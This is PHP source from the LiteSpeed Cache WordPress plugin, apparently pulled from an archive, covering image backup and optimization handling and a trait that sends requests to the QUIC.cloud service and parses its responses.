array_map( [ $this, '_del_bk_file' ], $meta_value['sizes'] ); } } $this->_summary['rmbk_summary']['date'] = time(); self::save_summary(); self::debug( 'rm_bkup total: ' . $this->_summary['rmbk_summary']['count'] . ' [size] ' . $this->_summary['rmbk_summary']['sum'] ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, self::TYPE_RM_BKUP ); } $msg = __( 'Removed backups successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Delete single file * * @since 2.5 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _del_bk_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $img_info = $this->__media->info( $bk_file, $this->tmp_pid ); if ( ! $img_info ) { return; } ++$this->_summary['rmbk_summary']['count']; $this->_summary['rmbk_summary']['sum'] += $img_info['size']; $this->__media->del( $bk_file, $this->tmp_pid ); } /** * Count images * * @since 1.6 * @access public * @return array Image count data. */ public function img_count() { global $wpdb; $q = "SELECT count(*) FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_all = $wpdb->get_var( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_new = $wpdb->get_var( $q . ' AND ID>' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $groups_done = $wpdb->get_var( $q . ' AND ID<=' . (int) $this->_summary['next_post_id'] . ' ORDER BY ID' ); $q = "SELECT b.post_id FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID DESC LIMIT 1 "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $max_id = $wpdb->get_var( $q ); $count_list = [ 'max_id' => $max_id, 'groups_all' => $groups_all, 'groups_new' => $groups_new, 'groups_done' => $groups_done, ]; // images count from work table if ( $this->__data->tb_exist( 'img_optming' ) ) { $q = "SELECT COUNT(DISTINCT post_id),COUNT(*) FROM `$this->_table_img_optming` WHERE optm_status = %d"; $groups_to_check = [ self::STATUS_RAW, self::STATUS_REQUESTED, self::STATUS_NOTIFIED, self::STATUS_ERR_FETCH ]; foreach ( $groups_to_check as $v ) { $count_list[ 'img.' . $v ] = 0; $count_list[ 'group.' . $v ] = 0; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared list( $count_list[ 'group.' . $v ], $count_list[ 'img.' . $v ] ) = $wpdb->get_row( $wpdb->prepare( $q, $v ), ARRAY_N ); } } return $count_list; } /** * Check if fetch cron is running * * @since 1.6.2 * @access public * @param bool $bool_res Whether to return boolean result. * @return bool|array Boolean result or array with last run time and status. */ public function cron_running( $bool_res = true ) { $last_run = ! empty( $this->_summary['last_pull'] ) ? $this->_summary['last_pull'] : 0; $is_running = $last_run && time() - $last_run < 120; if ( $bool_res ) { return $is_running; } return [ $last_run, $is_running ]; } /** * Update fetch cron timestamp tag * * @since 1.6.2 * @access private * @param bool $done Whether the cron job is done. */ private function _update_cron_running( $done = false ) { $this->_summary['last_pull'] = time(); if ( $done ) { // Only update cron tag when its from the active running cron if ( $this->_cron_ran ) { // Rollback for next running $this->_summary['last_pull'] -= 120; } else { return; } } self::save_summary(); $this->_cron_ran = true; } /** * Batch switch images to ori/optm version * * @since 1.6.2 * @access public * @param string $type The switch type (batch_switch_ori or batch_switch_optm). */ public function batch_switch( $type ) { if ( defined( 'LITESPEED_CLI' ) || wp_doing_cron() ) { $offset = 0; while ( 'done' !== $offset ) { Admin_Display::info( "Starting switch to $type [offset] $offset" ); $offset = $this->_batch_switch( $type, $offset ); } } else { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $new_offset = $this->_batch_switch( $type, $offset ); if ( 'done' !== $new_offset ) { return Router::self_redirect( Router::ACTION_IMG_OPTM, $type ); } } $msg = __( 'Switched images successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } /** * Switch images per offset * * @since 1.6.2 * @access private * @param string $type The switch type. * @param int $offset The current offset. * @return int|string Next offset or 'done'. */ private function _batch_switch( $type, $offset ) { global $wpdb; $limit = 500; $this->tmp_type = $type; $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d,%d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q ); $i = 0; foreach ( $list as $v ) { if ( ! $v->post_id ) { continue; } $meta_value = $this->_parse_wp_meta_value( $v ); if ( ! $meta_value ) { continue; } ++$i; $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_switch_bk_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_switch_bk_file' ], $meta_value['sizes'] ); } } self::debug( 'batch switched images total: ' . $i . ' [type] ' . $type ); ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return $offset; } return 'done'; } /** * Switch backup file between original and optimized * * @since 1.6.2 * @access private * @param array $meta_value The meta value array containing file info. * @param bool $is_ori_file Whether this is the original file. */ private function _switch_bk_file( $meta_value, $is_ori_file = false ) { $short_file_path = $meta_value['file']; if ( ! $is_ori_file ) { $short_file_path = $this->tmp_path . $short_file_path; } $extension = pathinfo( $short_file_path, PATHINFO_EXTENSION ); $local_filename = substr( $short_file_path, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // self::debug('_switch_bk_file ' . $bk_file . ' [type] ' . $this->tmp_type); // switch to ori if ( self::TYPE_BATCH_SWITCH_ORI === $this->tmp_type || 'orig' === $this->tmp_type ) { // self::debug('switch to orig ' . $bk_file); if ( ! $this->__media->info( $bk_file, $this->tmp_pid ) ) { return; } $this->__media->rename( $local_filename . '.' . $extension, $bk_optm_file, $this->tmp_pid ); $this->__media->rename( $bk_file, $local_filename . '.' . $extension, $this->tmp_pid ); } elseif ( self::TYPE_BATCH_SWITCH_OPTM === $this->tmp_type || 'optm' === $this->tmp_type ) { // switch to optm // self::debug('switch to optm ' . $bk_file); if ( ! $this->__media->info( $bk_optm_file, $this->tmp_pid ) ) { return; } $this->__media->rename( $local_filename . '.' . $extension, $bk_file, $this->tmp_pid ); $this->__media->rename( $bk_optm_file, $local_filename . '.' . $extension, $this->tmp_pid ); } } /** * Switch image between original one and optimized one * * @since 1.6.2 * @access private * @param string $type The switch type (webpXXX, avifXXX, or origXXX where XXX is the post ID). */ private function _switch_optm_file( $type ) { Admin_Display::success( __( 'Switched to optimized file successfully.', 'litespeed-cache' ) ); return; // phpcs:disable Squiz.PHP.NonExecutableCode global $wpdb; $pid = substr( $type, 4 ); $switch_type = substr( $type, 0, 4 ); $q = "SELECT src,post_id FROM `$this->_table_img_optm` WHERE post_id = %d AND optm_status = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, [ $pid, self::STATUS_PULLED ] ) ); $msg = 'Unknown Msg'; foreach ( $list as $v ) { // to switch webp file if ( 'webp' === $switch_type ) { if ( $this->__media->info( $v->src . '.webp', $v->post_id ) ) { $this->__media->rename( $v->src . '.webp', $v->src . '.optm.webp', $v->post_id ); self::debug( 'Disabled WebP: ' . $v->src ); $msg = __( 'Disabled WebP file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $v->src . '.optm.webp', $v->post_id ) ) { $this->__media->rename( $v->src . '.optm.webp', $v->src . '.webp', $v->post_id ); self::debug( 'Enable WebP: ' . $v->src ); $msg = __( 'Enabled WebP file successfully.', 'litespeed-cache' ); } } elseif ( 'avif' === $switch_type ) { // to switch avif file if ( $this->__media->info( $v->src . '.avif', $v->post_id ) ) { $this->__media->rename( $v->src . '.avif', $v->src . '.optm.avif', $v->post_id ); self::debug( 'Disabled AVIF: ' . $v->src ); $msg = __( 'Disabled AVIF file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $v->src . '.optm.avif', $v->post_id ) ) { $this->__media->rename( $v->src . '.optm.avif', $v->src . '.avif', $v->post_id ); self::debug( 'Enable AVIF: ' . $v->src ); $msg = __( 'Enabled AVIF file successfully.', 'litespeed-cache' ); } } else { // to switch original file $extension = pathinfo( $v->src, PATHINFO_EXTENSION ); $local_filename = substr( $v->src, 0, -strlen( $extension ) - 1 ); $bk_file = $local_filename . '.bk.' . $extension; $bk_optm_file = $local_filename . '.bk.optm.' . $extension; // revert ori back if ( $this->__media->info( $bk_file, $v->post_id ) ) { $this->__media->rename( $v->src, $bk_optm_file, $v->post_id ); $this->__media->rename( $bk_file, $v->src, $v->post_id ); self::debug( 'Restore original img: ' . $bk_file ); $msg = __( 'Restored original file successfully.', 'litespeed-cache' ); } elseif ( $this->__media->info( $bk_optm_file, $v->post_id ) ) { $this->__media->rename( $v->src, $bk_file, $v->post_id ); $this->__media->rename( $bk_optm_file, $v->src, $v->post_id ); self::debug( 'Switch to optm img: ' . $v->src ); $msg = __( 'Switched to optimized file successfully.', 'litespeed-cache' ); } } } Admin_Display::success( $msg ); // phpcs:enable Squiz.PHP.NonExecutableCode } /** * Delete one optm data and recover original file * * @since 2.4.2 * @access public * @param int $post_id The post ID to reset. * @param bool $silent Whether to suppress success message. Default false. */ public function reset_row( $post_id, $silent = false ) { global $wpdb; if ( ! $post_id ) { return; } self::debug( '_reset_row [pid] ' . $post_id ); // TODO: Load image sub files $img_q = "SELECT b.post_id, b.meta_value FROM `$wpdb->postmeta` b WHERE b.post_id =%d AND b.meta_key = '_wp_attachment_metadata'"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $q = $wpdb->prepare( $img_q, [ $post_id ] ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $v = $wpdb->get_row( $q ); $meta_value = $this->_parse_wp_meta_value( $v ); if ( $meta_value ) { $this->tmp_pid = $v->post_id; $this->tmp_path = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ) . '/'; $this->_destroy_optm_file( $meta_value, true ); if ( ! empty( $meta_value['sizes'] ) ) { array_map( [ $this, '_destroy_optm_file' ], $meta_value['sizes'] ); } } delete_post_meta( $post_id, self::DB_SIZE ); delete_post_meta( $post_id, self::DB_SET ); // Delete records from img_optm and img_optming tables if ( $this->__data->tb_exist( 'img_optm' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optm` WHERE post_id = %d", $post_id ) ); } if ( $this->__data->tb_exist( 'img_optming' ) ) { // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.InterpolatedNotPrepared $wpdb->query( $wpdb->prepare( "DELETE FROM `$this->_table_img_optming` WHERE post_id = %d", $post_id ) ); } if ( ! $silent ) { $msg = __( 'Reset the optimized data successfully.', 'litespeed-cache' ); Admin_Display::success( $msg ); } } /** * Show an image's optm status * * @since 1.6.5 * @access public * @return array Response data with image info. */ public function check_img() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Missing $pid = isset( $_POST['data'] ) ? absint( wp_unslash( $_POST['data'] ) ) : 0; self::debug( 'Check image [ID] ' . $pid ); $data = []; $data['img_count'] = $this->img_count(); $data['optm_summary'] = self::get_summary(); $data['_wp_attached_file'] = get_post_meta( $pid, '_wp_attached_file', true ); $data['_wp_attachment_metadata'] = get_post_meta( $pid, '_wp_attachment_metadata', true ); // Get img_optm data $q = "SELECT * FROM `$this->_table_img_optm` WHERE post_id = %d"; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $q, $pid ) ); $img_data = []; if ( $list ) { foreach ( $list as $v ) { $img_data[] = [ 'id' => $v->id, 'optm_status' => $v->optm_status, 'src' => $v->src, 'srcpath_md5' => $v->srcpath_md5, 'src_md5' => $v->src_md5, 'server_info' => $v->server_info, ]; } } $data['img_data'] = $img_data; return [ '_res' => 'ok', 'data' => $data, ]; } } cloud-request.trait.php000064400000047275152077520260011220 0ustar00_get( $service, $data ); } /** * Get data from QUIC cloud server (private) * * @since 3.0 * @access private * * @param string $service Service. * @param array|bool $data Data array or false to omit. * @return mixed */ private function _get( $service, $data = false ) { $service_tag = $service; if ( ! empty( $data['action'] ) ) { $service_tag .= '-' . $data['action']; } $maybe_cloud = $this->_maybe_cloud( $service_tag ); if ( ! $maybe_cloud || 'svc_hot' === $maybe_cloud ) { return $maybe_cloud; } $server = $this->detect_cloud( $service ); if ( ! $server ) { return; } $url = $server . '/' . $service; $param = [ 'site_url' => site_url(), 'main_domain'=> ! empty( $this->_summary['main_domain'] ) ? $this->_summary['main_domain'] : '', 'ver' => Core::VER, ]; if ( $data ) { $param['data'] = $data; } $url .= '?' . http_build_query( $param ); self::debug( 'getting from : ' . $url ); self::save_summary( [ 'curr_request.' . $service_tag => time() ] ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), time(), true ); $response = wp_safe_remote_get( $url, [ 'timeout' => 15, 'headers' => [ 'Accept' => 'application/json' ], ] ); return $this->_parse_response( $response, $service, $service_tag, $server ); } /** * Check if is able to do cloud request or not * * @since 3.0 * @access private * * @param string $service_tag Service tag. * @return bool|string */ private function _maybe_cloud( $service_tag ) { $site_url = site_url(); if ( ! wp_http_validate_url( $site_url ) ) { self::debug( 'wp_http_validate_url failed: ' . $site_url ); return false; } // Deny if is IP if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', Utility::parse_url_safe( $site_url, PHP_URL_HOST ) ) ) { self::debug( 'IP home url is not allowed for cloud service.' ); $msg = __( 'In order to use QC services, need a real domain name, cannot use an IP.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } // If in valid err_domains, bypass request if ( $this->_is_err_domain( $site_url ) ) { self::debug( 'home url is in err_domains, bypass request: ' . $site_url ); return false; } // we don't want the `img_optm-taken` to fail at any given time if ( self::IMGOPTM_TAKEN === $service_tag ) { return true; } if ( self::SVC_D_SYNC_CONF === $service_tag && ! $this->activated() ) { self::debug( 'Skip sync conf as QC not activated yet.' ); return false; } // Check TTL if ( ! empty( $this->_summary[ 'ttl.' . $service_tag ] ) ) { $ttl = (int) $this->_summary[ 'ttl.' . $service_tag ] - time(); if ( $ttl > 0 ) { self::debug( '❌ TTL limit. [srv] ' . $service_tag . ' [TTL cool down] ' . $ttl . ' seconds' ); return 'svc_hot'; } } $expiration_req = self::EXPIRATION_REQ; // Limit frequent unfinished request to 5min $timestamp_tag = 'curr'; if ( self::SVC_IMG_OPTM . '-' . Img_Optm::TYPE_NEW_REQ === $service_tag ) { $timestamp_tag = 'last'; } // For all other requests, if is under debug mode, will always allow if ( ! $this->conf( self::O_DEBUG ) ) { if ( ! empty( $this->_summary[ $timestamp_tag . '_request.' . $service_tag ] ) ) { $expired = (int) $this->_summary[ $timestamp_tag . '_request.' . $service_tag ] + $expiration_req - time(); if ( $expired > 0 ) { self::debug( '❌ try [' . $service_tag . '] after ' . $expired . ' seconds' ); if ( self::API_VER !== $service_tag ) { $msg = __( 'Cloud Error', 'litespeed-cache' ) . ': ' . sprintf( __( 'Please try after %1$s for service %2$s.', 'litespeed-cache' ), Utility::readable_time( $expired, 0, true ), '' . $service_tag . '' ); Admin_Display::error( [ 'cloud_trylater' => $msg ] ); } return false; } } else { // May fail to store to db if db is oc cached/dead/locked/readonly. Need to store to file to prevent from duplicate calls $file_path = $this->_qc_time_file( $service_tag, $timestamp_tag ); if ( file_exists( $file_path ) ) { $last_request = File::read( $file_path ); $expired = (int) $last_request + $expiration_req * 10 - time(); if ( $expired > 0 ) { self::debug( '❌ try [' . $service_tag . '] after ' . $expired . ' seconds' ); return false; } } // For ver check, additional check to prevent frequent calls as old DB ver may be cached if ( self::API_VER === $service_tag ) { $file_path = $this->_qc_time_file( $service_tag ); if ( file_exists( $file_path ) ) { $last_request = File::read( $file_path ); $expired = (int) $last_request + $expiration_req * 10 - time(); if ( $expired > 0 ) { self::debug( '❌❌ Unusual req! try [' . $service_tag . '] after ' . $expired . ' seconds' ); return false; } } } } } if ( in_array( $service_tag, self::$_pub_svc_set, true ) ) { return true; } if ( ! $this->activated() && self::SVC_D_ACTIVATE !== $service_tag ) { Admin_Display::error( Error::msg( 'qc_setup_required' ) ); return false; } return true; } /** * Get QC req ts file path * * @since 7.5 * * @param string $service_tag Service tag. * @param string $type Type: 'last' or 'curr'. * @return string */ private function _qc_time_file( $service_tag, $type = 'last' ) { if ( 'curr' !== $type ) { $type = 'last'; } $legacy_file = LITESPEED_STATIC_DIR . '/qc_' . $type . '_request' . md5( $service_tag ); if ( file_exists( $legacy_file ) ) { wp_delete_file( $legacy_file ); } $service_tag = preg_replace( '/[^a-zA-Z0-9]/', '', $service_tag ); return LITESPEED_STATIC_DIR . '/qc.' . $type . '.' . $service_tag; } /** * Check if a service tag ttl is valid or not * * @since 7.1 * * @param string $service_tag Service tag. * @return int|false Seconds remaining or false if not hot. */ public function service_hot( $service_tag ) { if ( empty( $this->_summary[ 'ttl.' . $service_tag ] ) ) { return false; } $ttl = (int) $this->_summary[ 'ttl.' . $service_tag ] - time(); if ( $ttl <= 0 ) { return false; } return $ttl; } /** * Post data to QUIC.cloud server * * @since 3.0 * @access public * * @param string $service Service name/route. * @param array|bool $data Payload data or false to omit. * @param int|false $time_out Timeout seconds or false for default. * @return mixed Response payload or false on failure. */ public static function post( $service, $data = false, $time_out = false ) { $instance = self::cls(); return $instance->_post( $service, $data, $time_out ); } /** * Post data to cloud server * * @since 3.0 * @access private * * @param string $service Service name/route. * @param array|bool $data Payload data or false to omit. * @param int|false $time_out Timeout seconds or false for default. * @return mixed Response payload or false on failure. */ private function _post( $service, $data = false, $time_out = false ) { $service_tag = $service; if ( ! empty( $data['action'] ) ) { $service_tag .= '-' . $data['action']; } $maybe_cloud = $this->_maybe_cloud( $service_tag ); if ( ! $maybe_cloud || 'svc_hot' === $maybe_cloud ) { self::debug( 'Maybe cloud failed: ' . wp_json_encode( $maybe_cloud ) ); return $maybe_cloud; } $server = $this->detect_cloud( $service ); if ( ! $server ) { return; } $url = $server . '/' . $this->_maybe_queue( $service ); self::debug( 'posting to : ' . $url ); if ( $data ) { $data['service_type'] = $service; // For queue distribution usage } // Encrypt service as signature // $signature_ts = time(); // $sign_data = [ // 'service_tag' => $service_tag, // 'ts' => $signature_ts, // ]; // $data['signature_b64'] = $this->_sign_b64(implode('', $sign_data)); // $data['signature_ts'] = $signature_ts; self::debug( 'data', $data ); $param = [ 'site_url' => site_url(), // Need to use site_url() as WPML case may change home_url() for diff langs (no need to treat as alias for multi langs) 'main_domain' => ! empty( $this->_summary['main_domain'] ) ? $this->_summary['main_domain'] : '', 'wp_pk_b64' => ! empty( $this->_summary['pk_b64'] ) ? $this->_summary['pk_b64'] : '', 'ver' => Core::VER, 'data' => $data, ]; self::save_summary( [ 'curr_request.' . $service_tag => time() ] ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), time(), true ); $response = wp_safe_remote_post( $url, [ 'body' => $param, 'timeout' => $time_out ? $time_out : 30, 'headers' => [ 'Accept' => 'application/json', 'Expect' => '', ], ] ); return $this->_parse_response( $response, $service, $service_tag, $server ); } /** * Parse response JSON * Mark the request successful if the response status is ok * * @since 3.0 * * @param array|mixed $response WP HTTP API response. * @param string $service Service name. * @param string $service_tag Service tag including action. * @param string $server Server URL. * @return array|false Parsed JSON array or false on failure. */ private function _parse_response( $response, $service, $service_tag, $server ) { // If show the error or not if failed $visible_err = self::API_VER !== $service && self::API_NEWS !== $service && self::SVC_D_DASH !== $service; if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); self::debug( 'failed to request: ' . $error_message ); if ( $visible_err ) { $msg = esc_html__( 'Failed to request via WordPress', 'litespeed-cache' ) . ': ' . esc_html( $error_message ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Tmp disabled this node from reusing in 1 day if ( empty( $this->_summary['disabled_node'] ) ) { $this->_summary['disabled_node'] = []; } $this->_summary['disabled_node'][ $server ] = time(); self::save_summary(); // Force redetect node self::debug( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); } return false; } $json = \json_decode( $response['body'], true ); if ( ! is_array( $json ) ) { self::debugErr( 'failed to decode response json: ' . $response['body'] ); if ( $visible_err ) { $msg = esc_html__( 'Failed to request via WordPress', 'litespeed-cache' ) . ': ' . esc_html( $response['body'] ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Tmp disabled this node from reusing in 1 day if ( empty( $this->_summary['disabled_node'] ) ) { $this->_summary['disabled_node'] = []; } $this->_summary['disabled_node'][ $server ] = time(); self::save_summary(); // Force redetect node self::debugErr( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); } return false; } // Check and save TTL data if ( ! empty( $json['_ttl'] ) ) { $ttl = (int) $json['_ttl']; self::debug( 'Service TTL to save: ' . $ttl ); if ( $ttl > 0 && $ttl < 86400 ) { self::save_summary([ 'ttl.' . $service_tag => $ttl + time(), ]); } } if ( ! empty( $json['_code'] ) ) { self::debugErr( 'Hit err _code: ' . $json['_code'] ); if ( 'unpulled_images' === $json['_code'] ) { $msg = __( 'Cloud server refused the current request due to unpulled images. Please pull the images first.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'blocklisted' === $json['_code'] ) { $msg = __( 'Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'rate_limit' === $json['_code'] ) { self::debugErr( 'Cloud server rate limit exceeded.' ); $msg = __( 'Cloud server refused the current request due to rate limiting. Please try again later.', 'litespeed-cache' ); Admin_Display::error( $msg ); return false; } if ( 'heavy_load' === $json['_code'] || 'redetect_node' === $json['_code'] ) { // Force redetect node self::debugErr( 'Node redetecting node [svc] ' . $service ); Admin_Display::info( __( 'Redetected node', 'litespeed-cache' ) . ': ' . Error::msg( $json['_code'] ) ); $this->detect_cloud( $service, true ); } } if ( ! empty( $json['_503'] ) ) { self::debugErr( 'service 503 unavailable temporarily. ' . $json['_503'] ); $msg = __( 'We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.', 'litespeed-cache' ); $msg .= ' ' . $json['_503'] . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); Admin_Display::error( $msg ); // Force redetect node self::debugErr( 'Node error, redetecting node [svc] ' . $service ); $this->detect_cloud( $service, true ); return false; } list( $json, $return ) = $this->extract_msg( $json, $service, $server ); if ( $return ) { return false; } $curr_request = $this->_summary[ 'curr_request.' . $service_tag ]; self::save_summary([ 'last_request.' . $service_tag => $curr_request, 'curr_request.' . $service_tag => 0, ]); File::save( $this->_qc_time_file( $service_tag ), $curr_request, true ); File::save( $this->_qc_time_file( $service_tag, 'curr' ), 0, true ); if ( $json ) { self::debug2( 'response ok', $json ); } else { self::debug2( 'response ok' ); } // Only successful request return Array return $json; } /** * Extract msg from json * * @since 5.0 * * @param array $json Response JSON. * @param string $service Service name. * @param string|bool $server Server URL or false. * @param bool $is_callback Whether called from callback context. * @return array Array with [json array, bool should_return_false] */ public function extract_msg( $json, $service, $server = false, $is_callback = false ) { if ( ! empty( $json['_info'] ) ) { self::debug( '_info: ' . $json['_info'] ); $msg = __( 'Message from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_info']; $msg .= $this->_parse_link( $json ); Admin_Display::info( $msg ); unset( $json['_info'] ); } if ( ! empty( $json['_note'] ) ) { self::debug( '_note: ' . $json['_note'] ); $msg = __( 'Message from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_note']; $msg .= $this->_parse_link( $json ); Admin_Display::note( $msg ); unset( $json['_note'] ); } if ( ! empty( $json['_success'] ) ) { self::debug( '_success: ' . $json['_success'] ); $msg = __( 'Good news from QUIC.cloud server', 'litespeed-cache' ) . ': ' . $json['_success']; $msg .= $this->_parse_link( $json ); Admin_Display::success( $msg ); unset( $json['_success'] ); } // Upgrade is required if ( ! empty( $json['_err_req_v'] ) ) { self::debug( '_err_req_v: ' . $json['_err_req_v'] ); $msg = sprintf( __( '%1$s plugin version %2$s required for this action.', 'litespeed-cache' ), Core::NAME, 'v' . $json['_err_req_v'] . '+' ) . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); // Append upgrade link $msg2 = ' ' . GUI::plugin_upgrade_link( Core::NAME, Core::PLUGIN_NAME, $json['_err_req_v'] ); $msg2 .= $this->_parse_link( $json ); Admin_Display::error( $msg . $msg2 ); return [ $json, true ]; } // Parse _carry_on info if ( ! empty( $json['_carry_on'] ) ) { self::debug( 'Carry_on usage', $json['_carry_on'] ); // Store generic info foreach ( [ 'usage', 'promo', 'mini_html', 'partner', '_error', '_info', '_note', '_success' ] as $v ) { if ( isset( $json['_carry_on'][ $v ] ) ) { switch ( $v ) { case 'usage': $usage_svc_tag = in_array( $service, [ self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI ], true ) ? self::SVC_PAGE_OPTM : $service; $this->_summary[ 'usage.' . $usage_svc_tag ] = $json['_carry_on'][ $v ]; break; case 'promo': if ( empty( $this->_summary[ $v ] ) || ! is_array( $this->_summary[ $v ] ) ) { $this->_summary[ $v ] = []; } $this->_summary[ $v ][] = $json['_carry_on'][ $v ]; break; case 'mini_html': foreach ( $json['_carry_on'][ $v ] as $k2 => $v2 ) { if ( 0 === strpos( $k2, 'ttl.' ) ) { $v2 += time(); } $this->_summary[ $v ][ $k2 ] = $v2; } break; case 'partner': $this->_summary[ $v ] = $json['_carry_on'][ $v ]; break; case '_error': case '_info': case '_note': case '_success': $color_mode = substr( $v, 1 ); $msgs = $json['_carry_on'][ $v ]; Admin_Display::add_unique_notice( $color_mode, $msgs, true ); break; default: break; } } } self::save_summary(); unset( $json['_carry_on'] ); } // Parse general error msg if ( ! $is_callback && ( empty( $json['_res'] ) || 'ok' !== $json['_res'] ) ) { $json_msg = ! empty( $json['_msg'] ) ? $json['_msg'] : 'unknown'; self::debug( '❌ _err: ' . $json_msg, $json ); $str_translated = Error::msg( $json_msg ); $msg = __( 'Failed to communicate with QUIC.cloud server', 'litespeed-cache' ) . ': ' . $str_translated . ' [server] ' . esc_html( $server ) . ' [service] ' . esc_html( $service ); $msg .= $this->_parse_link( $json ); $visible_err = self::API_VER !== $service && self::API_NEWS !== $service && self::SVC_D_DASH !== $service; if ( $visible_err ) { Admin_Display::error( $msg ); } // QC may try auto alias // Store the domain as `err_domains` only for QC auto alias feature if ( 'err_alias' === $json_msg ) { if ( empty( $this->_summary['err_domains'] ) ) { $this->_summary['err_domains'] = []; } $site_url = site_url(); if ( ! array_key_exists( $site_url, $this->_summary['err_domains'] ) ) { $this->_summary['err_domains'][ $site_url ] = time(); } self::save_summary(); } // Site not on QC, reset QC connection registration if ( 'site_not_registered' === $json_msg || 'err_key' === $json_msg ) { $this->_reset_qc_reg(); } return [ $json, true ]; } unset( $json['_res'] ); if ( ! empty( $json['_msg'] ) ) { unset( $json['_msg'] ); } return [ $json, false ]; } /** * Parse _links from json * * @since 1.6.5 * @since 1.6.7 Self clean the parameter * @access private * * @param array $json JSON array (passed by reference). * @return string HTML link string. */ private function _parse_link( &$json ) { $msg = ''; if ( ! empty( $json['_links'] ) ) { foreach ( $json['_links'] as $v ) { $msg .= ' ' . sprintf( '%s', esc_url( $v['link'] ), ! empty( $v['cls'] ) ? esc_attr( $v['cls'] ) : '', esc_html( $v['title'] ) ); } unset( $json['_links'] ); } return $msg; } } 